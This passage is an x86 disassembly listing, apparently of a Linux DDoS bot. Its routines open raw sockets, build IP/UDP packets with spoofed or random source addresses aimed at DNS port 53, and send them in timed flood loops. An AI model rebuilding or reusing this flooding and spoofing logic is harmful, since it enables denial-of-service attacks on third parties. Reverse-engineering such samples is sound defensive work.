		movzx	eax, [ebp+var_FF4]
		push	eax
		movzx	eax, [ebp+var_FF5]
		push	eax
		movzx	eax, [ebp+var_FF6]
		push	eax
		movzx	eax, [ebp+var_FF7]
		push	eax
		movzx	eax, [ebp+var_FF8]
		push	eax
		movzx	eax, [ebp+var_FF9]
		push	eax
		movzx	eax, [ebp+var_FFA]
		push	eax
		movzx	eax, [ebp+var_FFB]
		push	eax
		movzx	eax, [ebp+var_FFC]
		push	eax
		movzx	eax, [ebp+var_FFD]
		push	eax
		movzx	eax, [ebp+var_FFE]
		push	eax
		call	sub_0_8049564
		add	esp, 34h
		call	_exit(0)

loc_0_8048EB8:				; CODE XREF: sub_0_8048134+1A5j
					; sub_0_8048134+1B4j ...
		call	usleep(10000)
		jmp	loc_0_80482B0
sub_0_8048134	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8048ECC	proc near		; CODE XREF: sub_0_8048134+2AFp
					; sub_0_8048134+5ABp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	eax, [ebp+arg_0]
		mov	edi, [ebp+arg_8]
		cmp	ds:dword_0_807E784, 0
		jz	short loc_0_8048F10
		mov	ebx, eax
		lea	esi, [ebx+24h]
		lea	esi, [esi]

loc_0_8048EE8:				; CODE XREF: sub_0_8048ECC+3Ej
		call	usleep(4000)
		push	edi
		mov	edx, [ebp+arg_4]
		push	edx
		push	ebx
		push	offset byte_0_807E780
		call	sub_0_8048F94
		add	esp, 14h
		add	ebx, 4
		cmp	ebx, esi
		jle	short loc_0_8048EE8
		jmp	short loc_0_8048F20
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8048F10:				; CODE XREF: sub_0_8048ECC+13j
		push	edi
		mov	edx, [ebp+arg_4]
		push	edx
		push	eax
		push	offset byte_0_807E780
		call	sub_0_8048F94

loc_0_8048F20:				; CODE XREF: sub_0_8048ECC+40j
		mov	eax, 1
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8048ECC	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		mov	edx, [ebp+0Ch]
		mov	ebx, [ebp+8]
		xor	ecx, ecx
		mov	word ptr [ebp-2], 0
		cmp	edx, 1
		jle	short loc_0_8048F5C
		lea	esi, [esi]

loc_0_8048F4C:				; CODE XREF: .text:08048F5Aj
		movzx	eax, word ptr [ebx]
		add	ecx, eax
		add	ebx, 2
		add	edx, 0FFFFFFFEh
		cmp	edx, 1
		jg	short loc_0_8048F4C

loc_0_8048F5C:				; CODE XREF: .text:08048F48j
		cmp	edx, 1
		jnz	short loc_0_8048F6C
		mov	al, [ebx]
		mov	[ebp-2], al
		movzx	eax, word ptr [ebp-2]
		add	ecx, eax

loc_0_8048F6C:				; CODE XREF: .text:08048F5Fj
		mov	edx, ecx
		sar	edx, 10h
		movzx	eax, cx
		lea	ecx, [eax+edx]
		mov	eax, ecx
		sar	eax, 10h
		add	ecx, eax
		mov	eax, ecx
		not	ax
		mov	[ebp-2], ax
		and	eax, 0FFFFh
		mov	ebx, [ebp-8]
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8048F94	proc near		; CODE XREF: sub_0_8048ECC+31p
					; sub_0_8048ECC+4Fp

var_50		= byte ptr -50h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_32		= word ptr -32h
var_30		= byte ptr -30h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_4]
		call	socket(AF_INET,SOCK_RAW,255)
		mov	[ebp+var_44], eax
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_0_8048FCE
		mov	eax, [ebp+arg_C]
		call	malloc(23)
		mov	esi, eax
		test	esi, esi
		jnz	short loc_0_8048FD8

loc_0_8048FCE:				; CODE XREF: sub_0_8048F94+23j
		xor	eax, eax
		jmp	loc_0_804912C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8048FD8:				; CODE XREF: sub_0_8048F94+38j
		mov	[ebp+var_3C], esi
		lea	edi, [esi+14h]
		mov	[ebp+var_40], edi
		lea	edi, [esi+16h]
		mov	[ebp+var_38], edi
		mov	edi, [ebp+arg_0]
		mov	al, [edi]
		mov	[esi+0Ch], al
		mov	al, [edi+1]
		mov	[esi+0Dh], al
		mov	al, [edi+2]
		mov	[esi+0Eh], al
		mov	al, [edi+3]
		mov	[esi+0Fh], al
		mov	al, [ebx]
		mov	[esi+10h], al
		mov	al, [ebx+1]
		mov	[esi+11h], al
		mov	al, [ebx+2]
		mov	[esi+12h], al
		mov	al, [ebx+3]
		mov	[esi+13h], al
		call	sprintf(var_30,'%d.%d.%d.%d',%ebx,%ebx[1],%ebx[2],%ebx[3])
		push	ebx
		call	sub_0_8049138
		mov	[ebp+var_C], eax
		mov	[ebp+var_E], 0Ah
		mov	[ebp+var_10], 2
		mov	byte ptr [esi],	45h
		mov	byte ptr [esi+8], 0FAh
		mov	byte ptr [esi+9], 0Bh
		add	esp, 1Ch
		mov	ax, word ptr [ebp+arg_C]
		add	ax, 16h
		xchg	al, ah
		mov	[esi+2], ax
		mov	byte ptr [esi+1], 0
		call	sub_0_8056058
		xchg	al, ah
		mov	[esi+4], ax
		mov	word ptr [esi+6], 0
		mov	word ptr [esi+0Ah], 0
		mov	edx, 14h
		mov	ecx, esi
		xor	ebx, ebx
		mov	[ebp+var_32], 0

loc_0_8049094:				; CODE XREF: sub_0_8048F94+10Ej
		movzx	eax, word ptr [ecx]
		add	ebx, eax
		add	ecx, 2
		add	edx, 0FFFFFFFEh
		cmp	edx, 1
		jg	short loc_0_8049094
		jnz	short loc_0_80490B1
		mov	al, [ecx]
		mov	byte ptr [ebp+var_32], al
		movzx	eax, [ebp+var_32]
		add	ebx, eax

loc_0_80490B1:				; CODE XREF: sub_0_8048F94+110j
		mov	edx, ebx
		sar	edx, 10h
		movzx	eax, bx
		lea	ebx, [eax+edx]
		mov	eax, ebx
		sar	eax, 10h
		add	ebx, eax
		mov	eax, ebx
		not	ax
		mov	[ebp+var_32], ax
		mov	edi, [ebp+var_3C]
		mov	[edi+0Ah], ax
		mov	edi, [ebp+var_40]
		mov	byte ptr [edi],	3
		call	memcpy(var_38,arg_8,arg_C)
		call	sendto(var_44,esi,arg_c[22],0,var_10,16)
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_0_8049118
		call	free(esi)
		xor	eax, eax
		jmp	short loc_0_804912C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8049118:				; CODE XREF: sub_0_8048F94+178j
		call	close(var_44)
		call	free(esi)
		mov	eax, 1

loc_0_804912C:				; CODE XREF: sub_0_8048F94+3Cj
					; sub_0_8048F94+182j
		lea	esp, [ebp+var_50]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8048F94	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8049138	proc near		; CODE XREF: sub_0_8048F94+A6p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_0_804BF80
		mov	ecx, eax
		add	esp, 4
		test	ecx, ecx
		jz	short loc_0_804916C
		mov	eax, [ecx+10h]
		mov	edx, [eax]
		call	memcpy(dword_0_80792BC,edx,[ecx+0Ch])
		mov	eax, ds:dword_0_80792BC
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804916C:				; CODE XREF: sub_0_8049138+13j
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8049138	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8049174	proc near		; CODE XREF: sub_0_8048134+684p
					; sub_0_8048134+AEEp

var_680		= byte ptr -680h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_66C		= dword	ptr -66Ch
var_668		= dword	ptr -668h
var_664		= dword	ptr -664h
var_660		= dword	ptr -660h
var_65C		= dword	ptr -65Ch
var_658		= dword	ptr -658h
var_654		= dword	ptr -654h
var_650		= byte ptr -650h
var_64C		= byte ptr -64Ch
var_648		= byte ptr -648h
var_644		= byte ptr -644h
var_63E		= word ptr -63Eh
var_63C		= dword	ptr -63Ch
var_638		= byte ptr -638h
var_62C		= byte ptr -62Ch
var_62B		= byte ptr -62Bh
var_62A		= byte ptr -62Ah
var_629		= byte ptr -629h
var_624		= byte ptr -624h
var_61C		= byte ptr -61Ch
var_228		= word ptr -228h
var_226		= word ptr -226h
var_224		= dword	ptr -224h
var_218		= byte ptr -218h
var_24		= dword	ptr -24h
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= byte ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 674h
		push	edi
		push	esi
		push	ebx
		mov	bl, [ebp+arg_0]
		mov	[ebp+var_644], bl
		mov	bl, [ebp+arg_4]
		mov	[ebp+var_648], bl
		mov	bl, [ebp+arg_8]
		mov	[ebp+var_64C], bl
		mov	bl, [ebp+arg_C]
		mov	[ebp+var_650], bl
		lea	edi, [ebp+var_24]
		mov	esi, offset unk_0_8067698
		cld	
		mov	ecx, 9
		repe movsd
		mov	[ebp+var_654], 1
		lea	edi, [ebp+var_218]
		mov	esi, offset unk_0_80676BC
		cld	
		mov	ecx, 7Dh
		repe movsd
		lea	esi, [ebp+var_638]
		lea	ebx, [ebp+var_624]
		mov	[ebp+var_65C], ebx
		lea	ebx, [ebp+var_61C]
		mov	[ebp+var_660], ebx
		mov	[ebp+var_228], 2
		mov	[ebp+var_226], 0
		cmp	[ebp+arg_10], 0
		jz	short loc_0_804920A
		dec	[ebp+arg_10]

loc_0_804920A:				; CODE XREF: sub_0_8049174+91j
		call	socket(AF_INET,SOCK_RAW,255)
		mov	[ebp+var_658], eax
		test	eax, eax
		jle	loc_0_8049548
		mov	[ebp+var_664], 0
		mov	[ebp+var_668], 0
		call	memset(esi,9,400h)
		lea	esi, [esi+0]

loc_0_8049250:				; CODE XREF: sub_0_8049174+140j
					; sub_0_8049174+3CDj
		xor	edi, edi
		cmp	[ebp+arg_1C], 0
		jz	short loc_0_80492B2
		cmp	[ebp+var_668], 0
		jg	short loc_0_80492B2
		mov	ebx, [ebp+arg_20]
		push	ebx
		call	sub_0_804BF80
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jnz	short loc_0_8049288
		call	sleep(600)
		mov	edi, 1
		jmp	short loc_0_80492B2
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8049288:				; CODE XREF: sub_0_8049174+FDj
		mov	eax, [edx+10h]
		call	memmove2([eax],var_63C,4)
		mov	eax, [ebp+var_63C]
		mov	[esi+0Ch], eax
		mov	[ebp+var_668], 9C40h

loc_0_80492B2:				; CODE XREF: sub_0_8049174+E2j
					; sub_0_8049174+EBj ...
		test	edi, edi
		jnz	short loc_0_8049250
		xor	edi, edi
		mov	[ebp+var_670], 0
		lea	esi, [esi]

loc_0_80492C4:				; CODE XREF: sub_0_8049174+3C7j
		cmp	[ebp+var_654], 1
		jnz	short loc_0_80492E8
		mov	[ebp+var_654], 0
		call	sub_0_8055E38
		mov	ebx, 1F40h
		cdq	
		idiv	ebx
		jmp	short loc_0_80492EA
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80492E8:				; CODE XREF: sub_0_8049174+157j
		xor	edx, edx

loc_0_80492EA:				; CODE XREF: sub_0_8049174+170j
		cmp	dword_0_806D22C[edx*4],	0
		jz	loc_0_8049530
		lea	edx, ds:806D22Ch[edx*4]
		mov	[ebp+var_66C], edx
		lea	esi, [esi+0]

loc_0_8049308:				; CODE XREF: sub_0_8049174+3B6j
		mov	ebx, [ebp+var_66C]
		mov	eax, [ebx]
		mov	[ebp+var_224], eax
		mov	ebx, [ebp+var_670]
		lea	edx, [ebp+ebx+var_218]
		call	memcpy(var_660,edx,[ebp+var_24+edi*4])
		call	sub_0_8055E38
		mov	ebx, 0FFh
		cdq	
		idiv	ebx
		mov	ebx, [ebp+var_660]
		mov	[ebx], dl
		call	sub_0_8055E38
		mov	ebx, 0FFh
		cdq	
		idiv	ebx
		mov	ebx, [ebp+var_660]
		mov	[ebx+1], dl
		cmp	[ebp+arg_14], 0
		jnz	short loc_0_8049380
		cmp	[ebp+arg_18], 0
		jnz	short loc_0_8049380
		call	sub_0_8055E38
		mov	ebx, 7530h
		cdq	
		idiv	ebx
		mov	eax, edx
		jmp	short loc_0_804938A
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8049380:				; CODE XREF: sub_0_8049174+1F3j
					; sub_0_8049174+1F9j
		mov	eax, [ebp+arg_14]
		shl	eax, 8
		add	ax, word ptr [ebp+arg_18]

loc_0_804938A:				; CODE XREF: sub_0_8049174+20Aj
		xchg	al, ah
		mov	ebx, [ebp+var_65C]
		mov	[ebx], ax
		mov	ebx, [ebp+var_65C]
		mov	word ptr [ebx+2], 3500h
		mov	ax, word ptr [ebp+edi*4+var_24]
		add	ax, 8
		xchg	al, ah
		mov	[ebx+4], ax
		mov	word ptr [ebx+6], 0
		cmp	[ebp+arg_1C], 0
		jnz	short loc_0_80493EC
		mov	bl, [ebp+var_644]
		mov	[ebp+var_62C], bl
		mov	bl, [ebp+var_648]
		mov	[ebp+var_62B], bl
		mov	bl, [ebp+var_64C]
		mov	[ebp+var_62A], bl
		mov	bl, [ebp+var_650]
		mov	[ebp+var_629], bl

loc_0_80493EC:				; CODE XREF: sub_0_8049174+246j
		mov	ebx, [ebp+var_66C]
		mov	eax, [ebx]
		mov	[esi+10h], eax
		mov	byte ptr [esi],	45h
		call	sub_0_8055E38
		mov	ebx, 82h
		cdq	
		idiv	ebx
		add	dl, 78h
		mov	[esi+8], dl
		call	sub_0_8055E38
		mov	ebx, 0FFh
		cdq	
		idiv	ebx
		mov	[esi+4], dx
		mov	byte ptr [esi+9], 11h
		mov	word ptr [esi+6], 0
		mov	ax, word ptr [ebp+edi*4+var_24]
		add	ax, 1Ch
		xchg	al, ah
		mov	[esi+2], ax
		mov	word ptr [esi+0Ah], 0
		mov	edx, 14h
		lea	ebx, [ebp+var_638]
		mov	[ebp+var_674], ebx
		xor	ecx, ecx
		mov	[ebp+var_63E], 0
		lea	esi, [esi+0]

loc_0_804945C:				; CODE XREF: sub_0_8049174+302j
		mov	ebx, [ebp+var_674]
		movzx	eax, word ptr [ebx]
		add	ecx, eax
		add	ebx, 2
		mov	[ebp+var_674], ebx
		add	edx, 0FFFFFFFEh
		cmp	edx, 1
		jg	short loc_0_804945C
		jnz	short loc_0_804948B
		mov	al, [ebx]
		mov	byte ptr [ebp+var_63E],	al
		movzx	eax, [ebp+var_63E]
		add	ecx, eax

loc_0_804948B:				; CODE XREF: sub_0_8049174+304j
		mov	edx, ecx
		sar	edx, 10h
		movzx	eax, cx
		lea	ecx, [eax+edx]
		mov	eax, ecx
		sar	eax, 10h
		add	ecx, eax
		mov	eax, ecx
		not	ax
		mov	[ebp+var_63E], ax
		mov	[esi+0Ah], ax
		call	sendto(var_658,var_638,var_24[edi*4]+28,0,var_228,16)
		cmp	[ebp+arg_10], 0
		jnz	short loc_0_80494E8
		call	usleep(300)
		jmp	short loc_0_8049507
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_80494E8:				; CODE XREF: sub_0_8049174+366j
		mov	ebx, [ebp+arg_10]
		cmp	[ebp+var_664], ebx
		jnz	short loc_0_8049514
		call	usleep(300)
		mov	[ebp+var_664], 0

loc_0_8049507:				; CODE XREF: sub_0_8049174+372j
		dec	[ebp+var_668]
		add	esp, 4
		jmp	short loc_0_804951A
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8049514:				; CODE XREF: sub_0_8049174+37Dj
		inc	[ebp+var_664]

loc_0_804951A:				; CODE XREF: sub_0_8049174+39Cj
		add	[ebp+var_66C], 4
		mov	ebx, [ebp+var_66C]
		cmp	dword ptr [ebx], 0
		jnz	loc_0_8049308

loc_0_8049530:				; CODE XREF: sub_0_8049174+17Ej
		add	[ebp+var_670], 32h
		inc	edi
		cmp	edi, 8
		jle	loc_0_80492C4
		jmp	loc_0_8049250
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8049548:				; CODE XREF: sub_0_8049174+AFj
		mov	ds:dword_0_807E774, 0
		xor	eax, eax
		lea	esp, [ebp+var_680]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8049174	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8049564	proc near		; CODE XREF: sub_0_8048134+D72p

var_698		= byte ptr -698h
var_68C		= dword	ptr -68Ch
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_67C		= dword	ptr -67Ch
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= byte ptr -670h
var_66C		= byte ptr -66Ch
var_668		= byte ptr -668h
var_664		= byte ptr -664h
var_660		= byte ptr -660h
var_65C		= byte ptr -65Ch
var_658		= byte ptr -658h
var_654		= byte ptr -654h
var_64E		= word ptr -64Eh
var_64C		= dword	ptr -64Ch
var_648		= byte ptr -648h
var_628		= byte ptr -628h
var_61C		= byte ptr -61Ch
var_61B		= byte ptr -61Bh
var_61A		= byte ptr -61Ah
var_619		= byte ptr -619h
var_618		= byte ptr -618h
var_617		= byte ptr -617h
var_616		= byte ptr -616h
var_615		= byte ptr -615h
var_614		= byte ptr -614h
var_60C		= byte ptr -60Ch
var_228		= word ptr -228h
var_226		= word ptr -226h
var_224		= dword	ptr -224h
var_218		= byte ptr -218h
var_24		= dword	ptr -24h
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= byte ptr  14h
arg_10		= byte ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= byte ptr  20h
arg_1C		= byte ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h
arg_2C		= dword	ptr  34h
arg_30		= dword	ptr  38h

		push	ebp
		mov	ebp, esp
		sub	esp, 68Ch
		push	edi
		push	esi
		push	ebx
		mov	bl, [ebp+arg_0]
		mov	[ebp+var_654], bl
		mov	bl, [ebp+arg_4]
		mov	[ebp+var_658], bl
		mov	bl, [ebp+arg_8]
		mov	[ebp+var_65C], bl
		mov	bl, [ebp+arg_C]
		mov	[ebp+var_660], bl
		mov	bl, [ebp+arg_10]
		mov	[ebp+var_664], bl
		mov	bl, [ebp+arg_14]
		mov	[ebp+var_668], bl
		mov	bl, [ebp+arg_18]
		mov	[ebp+var_66C], bl
		mov	bl, [ebp+arg_1C]
		mov	[ebp+var_670], bl
		lea	edi, [ebp+var_24]
		mov	esi, offset unk_0_8067698
		cld	
		mov	ecx, 9
		repe movsd
		lea	edi, [ebp+var_218]
		mov	esi, offset unk_0_80676BC
		cld	
		mov	ecx, 7Dh
		repe movsd
		lea	edi, [ebp+var_628]
		lea	ebx, [ebp+var_614]
		mov	[ebp+var_678], ebx
		lea	ebx, [ebp+var_60C]
		mov	[ebp+var_67C], ebx
		mov	[ebp+var_228], 2
		mov	[ebp+var_226], 0
		cmp	[ebp+arg_2C], 0
		jnz	short loc_0_8049645
		call	sprintf(var_648,'%d.%d.%d.%d',,var_654,var_658,var_65c,var_660)
		add	esp, 18h

loc_0_8049645:				; CODE XREF: sub_0_8049564+ABj
		cmp	[ebp+arg_20], 0
		jz	short loc_0_804964E
		dec	[ebp+arg_20]

loc_0_804964E:				; CODE XREF: sub_0_8049564+E5j
		call	socket(AF_INET,SOCK_RAW,255)
		mov	[ebp+var_674], eax
		test	eax, eax
		jle	loc_0_80499D8
		mov	[ebp+var_680], 0
		mov	[ebp+var_684], 0
		call	memset(edi,0,400h)
		lea	esi, [esi+0]

loc_0_8049694:				; CODE XREF: sub_0_8049564+19Aj
					; sub_0_8049564+46Fj
		xor	esi, esi
		cmp	[ebp+arg_2C], 0
		jz	short loc_0_80496FC
		cmp	[ebp+var_684], 0
		jg	short loc_0_80496FC
		mov	ebx, [ebp+arg_30]
		push	ebx
		call	sub_0_804BF80
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jnz	short loc_0_80496CC
		call	sleep(600)
		mov	esi, 1
		jmp	short loc_0_80496FC
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80496CC:				; CODE XREF: sub_0_8049564+151j
		mov	eax, [edx+10h]
		call	memmove2([eax],var_64C,4)
		mov	eax, [ebp+var_64C]
		mov	[edi+10h], eax
		mov	[ebp+var_224], eax
		mov	[ebp+var_684], 9C40h

loc_0_80496FC:				; CODE XREF: sub_0_8049564+136j
					; sub_0_8049564+13Fj ...
		test	esi, esi
		jnz	short loc_0_8049694
		xor	esi, esi
		mov	[ebp+var_688], ebp

loc_0_8049708:				; CODE XREF: sub_0_8049564+469j
		cmp	[ebp+arg_2C], 0
		jnz	short loc_0_8049723
		lea	eax, [ebp+var_648]
		push	eax
		call	sub_0_804CE8C
		mov	[ebp+var_224], eax
		add	esp, 4

loc_0_8049723:				; CODE XREF: sub_0_8049564+1A8j
		mov	edx, [ebp+var_688]
		add	edx, 0FFFFFDE8h
		call	memcpy(var_67C,edx,[ebp+var_24+esi*4])
		call	sub_0_8055E38
		mov	ebx, 0FFh
		cdq	
		idiv	ebx
		mov	ebx, [ebp+var_67C]
		mov	[ebx], dl
		call	sub_0_8055E38
		mov	ebx, 0FFh
		cdq	
		idiv	ebx
		mov	ebx, [ebp+var_67C]
		mov	[ebx+1], dl
		cmp	[ebp+arg_24], 0
		jnz	short loc_0_804978C
		cmp	[ebp+arg_28], 0
		jnz	short loc_0_804978C
		call	sub_0_8055E38
		mov	ebx, 7530h
		cdq	
		idiv	ebx
		mov	eax, edx
		jmp	short loc_0_8049796
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_804978C:				; CODE XREF: sub_0_8049564+20Fj
					; sub_0_8049564+215j
		mov	eax, [ebp+arg_24]
		shl	eax, 8
		add	ax, word ptr [ebp+arg_28]

loc_0_8049796:				; CODE XREF: sub_0_8049564+226j
		xchg	al, ah
		mov	ebx, [ebp+var_678]
		mov	[ebx], ax
		mov	ebx, [ebp+var_678]
		mov	word ptr [ebx+2], 3500h
		mov	ax, word ptr [ebp+esi*4+var_24]
		add	ax, 8
		xchg	al, ah
		mov	[ebx+4], ax
		mov	word ptr [ebx+6], 0
		cmp	[ebp+var_664], 0
		jnz	short loc_0_804983C
		cmp	[ebp+var_668], 0
		jnz	short loc_0_804983C
		cmp	[ebp+var_66C], 0
		jnz	short loc_0_804983C
		cmp	[ebp+var_670], 0
		jnz	short loc_0_804983C
		call	sub_0_8055E38
		mov	dl, al
		cmp	dl, 0FFh
		setnb	al
		add	dl, al
		mov	[ebp+var_61C], dl
		call	sub_0_8055E38
		mov	dl, al
		cmp	dl, 0FFh
		setnb	al
		add	dl, al
		mov	[ebp+var_61B], dl
		call	sub_0_8055E38
		mov	dl, al
		cmp	dl, 0FFh
		setnb	al
		add	dl, al
		mov	[ebp+var_61A], dl
		call	sub_0_8055E38
		mov	dl, al
		cmp	dl, 0FFh
		setnb	al
		add	dl, al
		mov	[ebp+var_619], dl
		jmp	short loc_0_804986C
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_804983C:				; CODE XREF: sub_0_8049564+265j
					; sub_0_8049564+26Ej ...
		mov	bl, [ebp+var_664]
		mov	[ebp+var_61C], bl
		mov	bl, [ebp+var_668]
		mov	[ebp+var_61B], bl
		mov	bl, [ebp+var_66C]
		mov	[ebp+var_61A], bl
		mov	bl, [ebp+var_670]
		mov	[ebp+var_619], bl

loc_0_804986C:				; CODE XREF: sub_0_8049564+2D6j
		cmp	[ebp+arg_2C], 0
		jnz	short loc_0_80498A2
		mov	bl, [ebp+var_654]
		mov	[ebp+var_618], bl
		mov	bl, [ebp+var_658]
		mov	[ebp+var_617], bl
		mov	bl, [ebp+var_65C]
		mov	[ebp+var_616], bl
		mov	bl, [ebp+var_660]
		mov	[ebp+var_615], bl

loc_0_80498A2:				; CODE XREF: sub_0_8049564+30Cj
		mov	byte ptr [edi],	45h
		call	sub_0_8055E38
		mov	ebx, 82h
		cdq	
		idiv	ebx
		add	dl, 78h
		mov	[edi+8], dl
		call	sub_0_8055E38
		mov	ebx, 0FFh
		cdq	
		idiv	ebx
		mov	[edi+4], dx
		mov	byte ptr [edi+9], 11h
		mov	word ptr [edi+6], 0
		mov	ax, word ptr [ebp+esi*4+var_24]
		add	ax, 1Ch
		xchg	al, ah
		mov	[edi+2], ax
		mov	word ptr [edi+0Ah], 0
		mov	edx, 14h
		lea	ebx, [ebp+var_628]
		mov	[ebp+var_68C], ebx
		xor	ecx, ecx
		mov	[ebp+var_64E], 0

loc_0_8049904:				; CODE XREF: sub_0_8049564+3BAj
		mov	ebx, [ebp+var_68C]
		movzx	eax, word ptr [ebx]
		add	ecx, eax
		add	ebx, 2
		mov	[ebp+var_68C], ebx
		add	edx, 0FFFFFFFEh
		cmp	edx, 1
		jg	short loc_0_8049904
		jnz	short loc_0_8049933
		mov	al, [ebx]
		mov	byte ptr [ebp+var_64E],	al
		movzx	eax, [ebp+var_64E]
		add	ecx, eax

loc_0_8049933:				; CODE XREF: sub_0_8049564+3BCj
		mov	edx, ecx
		sar	edx, 10h
		movzx	eax, cx
		lea	ecx, [eax+edx]
		mov	eax, ecx
		sar	eax, 10h
		add	ecx, eax
		mov	eax, ecx
		not	ax
		mov	[ebp+var_64E], ax
		mov	[edi+0Ah], ax
		call	sendto(var_674,var_628,var_24[esi*4]+28,0,var_228,16)
		cmp	[ebp+arg_20], 0
		jnz	short loc_0_8049990
		call	usleep(300)
		jmp	short loc_0_80499AF
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8049990:				; CODE XREF: sub_0_8049564+41Ej
		mov	ebx, [ebp+arg_20]
		cmp	[ebp+var_680], ebx
		jnz	short loc_0_80499BC
		call	usleep(300)
		mov	[ebp+var_680], 0

loc_0_80499AF:				; CODE XREF: sub_0_8049564+42Aj
		dec	[ebp+var_684]
		add	esp, 4
		jmp	short loc_0_80499C2
